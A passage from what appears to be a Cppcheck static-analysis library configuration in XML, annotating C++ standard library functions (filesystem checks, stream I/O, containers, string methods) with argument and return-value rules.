  <!-- (3) (since C++17) bool std::filesystem::is_directory( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_empty const std::filesystem::path& p ); -->
  <!-- (2) (since C++17) bool std::filesystem::is_empty( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_fifo( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_fifo const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_fifo( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_other( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_other const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_other( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_regular_file( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_regular_file( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_regular_file( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_socket( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_socket( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_socket( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <!-- (1) (since C++17) bool std::filesystem::is_symlink( std::filesystem::file_status s ) noexcept; -->
  <!-- (2) (since C++17) bool std::filesystem::is_symlink( const std::filesystem::path& p ); -->
  <!-- (3) (since C++17) bool std::filesystem::is_symlink( const std::filesystem::path& p, std::error_code& ec ) noexcept; -->
  <function name="std::filesystem::exists,std::filesystem::is_block_file,std::filesystem::is_character_file,std::filesystem::is_directory,std::filesystem::is_empty,std::filesystem::is_fifo,std::filesystem::is_other,std::filesystem::is_regular_file,std::filesystem::is_socket,std::filesystem::is_symlink">
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <use-retval/>
    <arg nr="1" direction="in"/>
    <arg nr="2" direction="out" default=""/>
  </function>
  <!-- std::string std::ostringstream::str() const; -->
  <!-- std::string std::stringstream::str() const; -->
  <!-- std::string std::basic_stringstream::str() const; -->
  <!-- @todo Implement the second version when function overloading is possible: -->
  <!--       void std::ostringstream::str(const string & s); -->
  <function name="std::istringstream::str,std::ostringstream::str,std::stringstream::str,std::basic_stringstream::str">
    <use-retval/>
    <const/>
    <returnValue type="std::string"/>
    <noreturn>false</noreturn>
  </function>
  <!-- std::ios::pos_type std::istream::tellg( void ); -->
  <!-- std::ios::pos_type std::ifstream::tellg( void ); -->
  <function name="std::istream::tellg,std::basic_istream::tellg,std::ifstream::tellg,std::basic_ifstream::tellg">
    <use-retval/>
    <const/>
    <returnValue type="std::ios::pos_type"/>
    <noreturn>false</noreturn>
  </function>
  <!-- bool good() const; -->
  <function name="std::ios::good,std::wifstream::good,std::ios_base::good,std::ostream::good,std::ofstream::good,std::ostringstream::good,std::ifstream::good,std::istream::good,std::istringstream::good,std::wistringstream::good,std::basic_istringstream::good">
    <use-retval/>
    <const/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
  </function>
  <!-- bool eof() const; -->
  <function name="std::ios::eof,std::ios_base::eof,std::ostream::eof,std::ofstream::eof,std::ostringstream::eof,std::istringstream::eof,std::wistringstream::eof,std::basic_istringstream::eof,std::istream::eof,std::ifstream::eof">
    <use-retval/>
    <const/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
  </function>
  <!-- bool fail() const; -->
  <function name="std::ios::fail,std::ios_base::fail,std::ostream::fail,std::ofstream::fail,std::ostringstream::fail,std::ifstream::fail,std::istringstream::fail,std::wistringstream::fail,std::basic_istringstream::fail,std::istream::fail">
    <use-retval/>
    <const/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
  </function>
  <!-- bool bad() const; -->
  <function name="std::ios::bad,std::wifstream::bad,std::ios_base::bad,std::ostream::bad,std::ofstream::bad,std::ostringstream::bad,std::ifstream::bad,std::istringstream::bad,std::wistringstream::bad,std::basic_istringstream::bad,std::istream::bad">
    <use-retval/>
    <const/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
  </function>
  <!-- bool is_open() const; -->
  <function name="std::basic_ifstream::is_open,std::ifstream::is_open,std::basic_ofstream::is_open,std::ofstream::is_open,std::wifstream::is_open">
    <use-retval/>
    <const/>
    <returnValue type="bool"/>
    <noreturn>false</noreturn>
  </function>
  <!--std::ofstream& std::ofstream::write (const char* s, streamsize n);-->
  <function name="std::ofstream::write">
    <returnValue type="std::ofstream &amp;"/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--std::ostringstream& std::ostringstream::write (const char* s, streamsize n);-->
  <function name="std::ostringstream::write">
    <returnValue type="std::ostringstream &amp;"/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--https://en.cppreference.com/w/cpp/io/manip/quoted -->
  <!--template< class CharT >
      /*unspecified*/ quoted( const CharT* s,
                              CharT delim = CharT('"'), CharT escape = CharT('\\') ); (1)(since C++14)
      template< class CharT, class Traits, class Allocator >
      /*unspecified*/ quoted( const std::basic_string<CharT, Traits, Allocator>& s,
                              CharT delim = CharT('"'), CharT escape = CharT('\\') ); (2)(since C++14)
      template< class CharT, class Traits>
      /*unspecified*/ quoted( std::basic_string_view<CharT, Traits> s,
                              CharT delim = CharT('"'), CharT escape = CharT('\\') ); (3)(since C++17)
      template< class CharT, class Traits, class Allocator >
      /*unspecified*/ quoted( std::basic_string<CharT, Traits, Allocator>& s,
                              CharT delim=CharT('"'), CharT escape=CharT('\\') ); (4)(since C++14) -->
  <function name="std::quoted">
    <!-- This function returns an object of unspecified type -->
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in"/>
    <arg nr="2" direction="in" default="&apos;&quot;&apos;">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in" default="&apos;\\&apos;">
      <not-uninit/>
    </arg>
  </function>
  <!--std::ostream& std::ostream::write (const char* s, streamsize n);-->
  <function name="std::ostream::write">
    <returnValue type="std::ostream &amp;"/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--std::fstream& std::fstream::write (const char* s, streamsize n);-->
  <function name="std::fstream::write">
    <returnValue type="std::fstream &amp;"/>
    <leak-ignore/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void std::vector::assign( size_type count, const T& value ); -->
  <!-- template< class InputIt > void std::vector::assign( InputIt first, InputIt last ); -->
  <!-- void std::vector::assign( std::initializer_list<T> ilist ); // since C++11 -->
  <function name="std::vector::assign">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::deque::push_back( const T& value ); -->
  <!-- void std::deque::push_back( T&& value ); // since C++11 -->
  <!-- void std::deque::push_front( const T& value ); -->
  <!-- void std::deque::push_front( T&& value ); // since C++11 -->
  <!-- void std::list::push_back( const T& value ); -->
  <!-- void std::list::push_back( T&& value ); // since C++11 -->
  <!-- void std::list::push_front( const T& value ); -->
  <!-- void std::list::push_front( T&& value ); // since C++11 -->
  <!-- void std::forward_list::push_front( const T& value ); // since C++11 -->
  <!-- void std::forward_list::push_front( T&& value ); // since C++11 -->
  <!-- void std::queue::push( const value_type& value ); -->
  <!-- void std::queue::push( value_type&& value ); // since C++11 -->
  <!-- void std::stack::push( const value_type& value ); -->
  <!-- void std::stack::push( value_type&& value ); // since C++11 -->
  <!-- void std::vector::push_back( const T& value ); -->
  <!-- void std::vector::push_back( T&& value ); // since C++11 -->
  <function name="std::deque::push_back,std::deque::push_front,std::list::push_back,std::list::push_front,std::forward_list::push_front,std::queue::push,std::priority_queue::push,std::stack::push,std::vector::push_back">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <!-- iterator std::list::insert( iterator pos, const T& value ); // until C++11 -->
  <!-- iterator std::list::insert( const_iterator pos, const T& value ); // since C++11 -->
  <!-- iterator std::list::insert( const_iterator pos, T&& value ); // since C++11 -->
  <!-- void std::list::insert( iterator pos, size_type count, const T& value ); // until C++11 -->
  <!-- iterator std::list::insert( const_iterator pos, size_type count, const T& value ); // since C++11 -->
  <!-- template<class InputIt> void std::list::insert( iterator pos, InputIt first, InputIt last); until C++11 -->
  <!-- template<class InputIt> iterator std::list::insert( const_iterator pos, InputIt first, InputIt last ); since C++11 -->
  <!-- iterator std::list::insert( const_iterator pos, std::initializer_list<T> ilist ); since C++11 -->
  <!-- For std::multimap::insert see http://en.cppreference.com/w/cpp/container/multimap/insert -->
  <!-- For std::map::insert see http://en.cppreference.com/w/cpp/container/map/insert -->
  <!-- For std::multiset::insert see http://en.cppreference.com/w/cpp/container/multiset/insert -->
  <!-- For std::set::insert see http://en.cppreference.com/w/cpp/container/set/insert -->
  <!-- For std::string::insert see http://en.cppreference.com/w/cpp/string/basic_string/insert -->
  <!-- For std::vector::insert see http://en.cppreference.com/w/cpp/container/vector/insert -->
  <!-- For std::unordered_map::insert see https://en.cppreference.com/w/cpp/container/unordered_map/insert -->
  <!-- For std::unordered_set::insert see https://en.cppreference.com/w/cpp/container/unordered_set/insert -->
  <!-- Return value type is "iterator" or "void" depending on the overloaded function. -->
  <function name="std::list::insert,std::multimap::insert,std::map::insert,std::set::insert,std::multiset::insert,std::string::insert,std::vector::insert,std::unordered_map::insert,std::unordered_set::insert">
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0">
      <not-uninit/>
    </arg>
    <arg nr="3" default="0">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::deque::emplace_back,std::deque::emplace_front,std::list::emplace_back,std::list::emplace_front,std::forward_list::emplace_front,std::queue::emplace,std::priority_queue::emplace,std::stack::emplace,std::vector::emplace_back,std::vector::emplace_front,std::unordered_set::emplace">
    <noreturn>false</noreturn>
    <arg nr="variadic">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::map::find,std::set::find,std::unordered_map::find,std::unordered_multimap::find,std::unordered_set::find,std::unordered_multiset::find,std::multiset::find,std::multimap::find">
    <use-retval/>
    <returnValue type="iterator"/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::deque::max_size,std::list::max_size,std::map::max_size,std::unordered_map::max_size,std::set::max_size,std::unordered_set::max_size,std::vector::capacity,std::vector::max_size,std::span::size_bytes">
    <use-retval/>
    <const/>
    <returnValue type="std::size_t"/>
    <noreturn>false</noreturn>
  </function>
  <!--                     size_type std::map::count( const Key& key ) const; -->
  <!-- template< class K > size_type std::map::count( const K& x ) const; // since C++14 -->
  <!--                     size_type std::set::count( const value_type& val) const; -->
  <!--                     size_type std::unordered_set::count( const Key& key ) const; -->
  <!--                     size_type std::unordered_map::count( const Key& key ) const; -->
  <!--                     size_type std::multimap::count( const Key& key ) const; -->
  <function name="std::map::count,std::set::count,std::unordered_set::count,std::unordered_map::count,std::multimap::count">
    <noreturn>false</noreturn>
    <returnValue type="std::size_t"/>
    <use-retval/>
    <const/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::string::size,std::string::length,std::string_view::size,std::string_view::length,std::wstring_view::size,std::wstring_view::length,std::wstring::size,std::wstring::length">
    <noreturn>false</noreturn>
    <returnValue type="std::size_t"/>
    <use-retval/>
    <const/>
    <leak-ignore/>
  </function>
  <function name="std::vector::at,std::deque::at,std::array::at,std::string_view::at,std::wstring_view::at">
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void std::vector::reserve(size_type new_capacity); -->
  <function name="std::vector::reserve">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void std::list::remove (const value_type& val); -->
  <function name="std::list::remove">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void std::vector::resize(size_type count, T value = T()); // until C++11 -->
  <!-- void std::vector::resize(size_type count); // since C++11 -->
  <!-- void std::vector::resize(size_type count, const value_type& value); // since C++11 -->
  <function name="std::vector::resize">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/container/deque/swap -->
  <!-- void std::deque::swap( deque& other ); -->
  <!-- https://en.cppreference.com/w/cpp/container/list/swap -->
  <!-- void std::list::swap( list& other ); -->
  <!-- https://en.cppreference.com/w/cpp/container/map/swap -->
  <!-- void std::map::swap( map& other ); -->
  <!-- https://en.cppreference.com/w/cpp/container/set/swap -->
  <!-- void std::set::swap( set& other ); -->
  <!-- https://en.cppreference.com/w/cpp/container/vector/swap -->
  <!-- void std::vector::swap( vector& other ); -->
  <function name="std::deque::swap,std::list::swap,std::map::swap,std::set::swap,std::vector::swap">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-bool/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/algorithm/swap -->
  <!-- template< class T > void swap( T& a, T& b ); -->
  <!-- template< class T > constexpr void swap( T& a, T& b ) -->
  <!-- template< class T2, std::size_t N > void swap( T2 (&a)[N], T2 (&b)[N]) -->
  <!-- template< class T2, std::size_t N > constexpr void swap( T2 (&a)[N], T2 (&b)[N]) -->
  <function name="std::swap">
    <leak-ignore/>
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/utility/exchange -->
  <!-- template< class T, class U = T > constexpr T exchange( T& obj, U&& new_value ) -->
  <function name="std::exchange">
    <leak-ignore/>
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue>arg1</returnValue>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/memory/addressof -->
  <!-- template< class T > constexpr T* addressof( T& arg ) noexcept; -->
  <function name="std::addressof">
    <leak-ignore/>
    <use-retval/>
    <noreturn>false</noreturn>
    <returnValue type="void*">&amp; arg1</returnValue>
    <arg nr="1">
    </arg>
  </function>
  <function name="std::stack::pop,std::queue::pop,std::priority_queue::pop">
    <noreturn>false</noreturn>
  </function>
  <function name="std::stack::top,std::priority_queue::top">
    <use-retval/>
    <noreturn>false</noreturn>
  </function>
  <!--       char& at(size_t pos); -->
  <!-- const char& at(size_t pos) const; -->
  <function name="std::string::at">
    <use-retval/>
    <returnValue type="char &amp;"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--       wchar_t& std::wstring::at(size_t pos); -->
  <!-- const wchar_t& std::wstring::at(size_t pos) const; -->
  <function name="std::wstring::at">
    <use-retval/>
    <returnValue type="wchar_t &amp;"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--       char16_t& std::u16string::at(size_t pos); -->
  <!-- const char16_t& std::u16string::at(size_t pos) const; -->
  <function name="std::u16string::at">
    <use-retval/>
    <returnValue type="char16_t &amp;"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!--       char32_t& std::u32string::at(size_t pos); -->
  <!-- const char32_t& std::u32string::at(size_t pos) const; -->
  <function name="std::u32string::at">
    <use-retval/>
    <returnValue type="char32_t &amp;"/>
    <noreturn>false</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void push_back (char c); -->
  <function name="std::string::push_back">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- char& std::string::back(); -->
  <!-- const char& std::string::back() const; -->
  <function name="std::string::back">
    <use-retval/>
    <returnValue type="char &amp;"/>
    <noreturn>false</noreturn>
  </function>
  <!-- int compare( const basic_string& str ) const; -->
  <!-- int compare( size_type pos1, size_type count1, const basic_string& str ) const; -->
  <!-- int compare( size_type pos1, size_type count1, const basic_string& str, size_type pos2, size_type count2 ) const; // until C++14 -->
  <!-- int compare( size_type pos1, size_type count1, const basic_string& str, size_type pos2, size_type count2 = npos ) const; // since C++14 -->
  <!-- int compare( const CharT* s ) const; -->
  <!-- int compare( size_type pos1, size_type count1, const CharT* s ) const; -->
  <!-- int compare( size_type pos1, size_type count1, const CharT* s, size_type count2 ) const; -->
  <!-- template < class T > int compare( const T& t ) const; // since C++17 -->
  <!-- template < class T > int compare( size_type pos1, size_type count1, const T& t ) const; // since C++17 -->
  <!-- template < class T > int compare( size_type pos1, size_type count1, const T& t, size_type pos2, size_type count2 = npos) const; // since C++17 -->
  <function name="std::string::compare,std::string_view::compare,std::wstring_view::compare,std::wstring::compare">
    <noreturn>false</noreturn>
    <returnValue type="int"/>
    <use-retval/>
    <const/>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" default="0" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="4" default="0" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="5" default="0" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- constexpr bool std::string::starts_with( std::basic_string_view<CharT,Traits> sv ) const noexcept; // since C++20 -->
  <!-- constexpr bool starts_with( CharT ch ) const noexcept; // since C++20 -->
  <!-- constexpr bool starts_with( const CharT* s ) const; // since C++20 -->
  <function name="std::string::starts_with,std::wstring::starts_with,std::string::ends_with,std::wstring::ends_with">
    <noreturn>false</noreturn>
    <use-retval/>
    <returnValue type="bool"/>
    <const/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_type std::string::copy( CharT* dest, size_type count, size_type pos = 0) const; -->
  <!-- size_type std::wstring::copy( CharT* dest, size_type count, size_type pos = 0) const; -->
  <function name="std::string::copy,std::wstring::copy">
    <noreturn>false</noreturn>
    <returnValue type="std::size_t"/>
    <leak-ignore/>
    <const/>
    <arg nr="1" direction="out">
      <not-null/>
      <!-- TODO: #8335 arg2 is the number of characters, not bytes. -->
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in" default="0">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- void swap (string& str); -->
  <function name="std::string::swap">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <arg nr="1"/>
  </function>
  <!-- const char* c_str() const; // until C++11 -->
  <!-- const char* c_str() const noexcept; // since C++11 -->
  <!-- const char* data() const; // until C++11 -->
  <!-- const char* data() const noexcept; // since C++11 -->
  <function name="std::string::c_str,std::string::data">
    <use-retval/>
    <const/>
    <returnValue type="const char *"/>
    <noreturn>false</noreturn>
  </function>
  <!-- char& front(); -->
  <!-- const char& front() const; -->
  <function name="std::string::front">
    <use-retval/>
    <returnValue type="char &amp;"/>
    <noreturn>false</noreturn>
  </function>
  <!-- size_t find (const string& str, size_t pos = 0) const; -->
  <!-- size_t find (const char* s, size_t pos, size_t n) const; -->
  <!-- size_t find (char c, size_t pos = 0) const;-->
  <!-- size_t find (const char* s, size_t pos = 0) const; -->
  <!-- size_t rfind (const string& str, size_t pos = npos) const noexcept; -->
  <!-- size_t rfind (const char* s, size_t pos = npos) const; -->
  <!-- size_t rfind (const char* s, size_t pos, size_t n) const; -->
  <!-- size_t rfind (char c, size_t pos = npos) const noexcept; -->
  <function name="std::basic_string::find_last_not_of,std::string::find_last_not_of,std::wstring::find_last_not_of,std::basic_string::find_first_not_of,std::string::find_first_not_of,std::wstring::find_first_not_of,std::string::find,std::string::rfind,std::wstring::find,std::wstring::rfind,std::basic_string::find,std::basic_string::rfind,std::string::find_first_of,std::wstring::find_first_of,std::basic_string::find_first_of,std::string::find_last_of,std::wstring::find_last_of,std::basic_string::find_last_of">
    <use-retval/>
    <const/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" default="0">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" default="">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::string::substr">
    <use-retval/>
    <const/>
    <returnValue type="std::string"/>
    <noreturn>false</noreturn>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::wstring::substr">
    <use-retval/>
    <const/>
    <returnValue type="std::wstring"/>
    <noreturn>false</noreturn>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <function name="std::basic_string::substr">
    <use-retval/>
    <const/>
    <returnValue type="std::basic_string"/>
    <noreturn>false</noreturn>
    <arg nr="1" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" default="0" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int std::istream::peak();-->
  <function name="std::istream::peek">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
  </function>
  <!-- void std::ios::clear (std::ios::iostate state = std::ios::goodbit);-->
  <function name="std::ios::clear,std::fstream::clear,std::istream::clear">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" default="std::ios::goodbit">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::istream& std::istream::read (char* s, streamsize n); -->
  <function name="std::istream::read">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::istream&amp;"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- std::ifstream& std::ifstream::read (char* s, streamsize n); -->
  <function name="std::ifstream::read">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::ifstream&amp;"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- std::wifstream& std::wifstream::read (wchar_t* s, streamsize n); -->
  <function name="std::wifstream::read">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::wifstream&amp;"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- streamsize readsome (char* s, streamsize n); -->
  <function name="std::istream::readsome,std::ifstream::readsome">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- istream& getline (char* s, streamsize n ); -->
  <!-- istream& getline (char* s, streamsize n, char delim ); -->
  <function name="std::istream::getline,std::ifstream::getline">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <strz/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" default="'\n'" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- Not part of standard, but widely supported by runtime libraries. -->
  <!-- char * itoa (int value, char * str, int base); -->
  <function name="itoa">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="char *"/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="out">
      <not-null/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>2:36</valid>
    </arg>
  </function>
  <!-- iterator std::string::erase (const_iterator first, const_iterator last); -->
  <function name="std::string::erase,std::wstring::erase,std::basic_string::erase">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
  </function>
  <!--  std::istringstream& std::istringstream::seekg (streampos pos);
        std::istringstream& std::istringstream::seekg (streamoff off, ios_base::seekdir way); -->
  <function name="std::istringstream::seekg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::istringstream &amp;"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!--  std::stringstream& std::stringstream::seekg (streampos pos);
        std::stringstream& std::stringstream::seekg (streamoff off, ios_base::seekdir way); -->
  <function name="std::stringstream::seekg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::stringstream &amp;"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!--  std::ifstream& std::ifstream::seekg (streampos pos);
        std::ifstream& std::ifstream::seekg (streamoff off, ios_base::seekdir way); -->
  <function name="std::ifstream::seekg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::ifstream &amp;"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!--  std::istream& std::istream::seekg (streampos pos);
        std::istream& std::istream::seekg (streamoff off, ios_base::seekdir way); -->
  <function name="std::istream::seekg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::istream &amp;"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!--  std::wifstream& std::wifstream::seekg (streampos pos);
        std::wifstream& std::wifstream::seekg (streamoff off, ios_base::seekdir way); -->
  <function name="std::wifstream::seekg">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::wifstream &amp;"/>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!-- https://en.cppreference.com/w/cpp/string/basic_string/assign -->
  <function name="std::basic_string::assign">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::basic_string &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::string::assign">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::string &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <function name="std::wstring::assign">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::wstring &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!-- std::string& std::string::append (const std::string& str); -->
  <function name="std::string::append">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::string &amp;"/>
    <arg nr="any"/>
  </function>
  <!-- std::wstring& std::wstring::append (const std::wstring& str); -->
  <function name="std::wstring::append">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::wstring &amp;"/>
    <arg nr="any"/>
  </function>
  <!-- std::basic_string& std::basic_string::append (const std::basic_string& str); -->
  <function name="std::basic_string::append">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::basic_string &amp;"/>
    <arg nr="any"/>
  </function>
  <!-- https://en.cppreference.com/w/cpp/string/basic_string/replace -->
  <function name="std::basic_string::replace">
    <noreturn>false</noreturn>
    <leak-ignore/>
    <returnValue type="std::basic_string &amp;"/>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
    </arg>
    <arg nr="3">
      <not-uninit/>
    </arg>
    <arg nr="any">
      <not-uninit/>
    </arg>
  </function>
  <!-- string (1)    string& replace (size_t pos,        size_t len,        const string& str);
                     string& replace (const_iterator i1, const_iterator i2, const string& str);
    substring (2)    string& replace (size_t pos,        size_t len,        const string& str, size_t subpos, size_t sublen = npos);
     c-string (3)    string& replace (size_t pos,        size_t len,        const char* s);
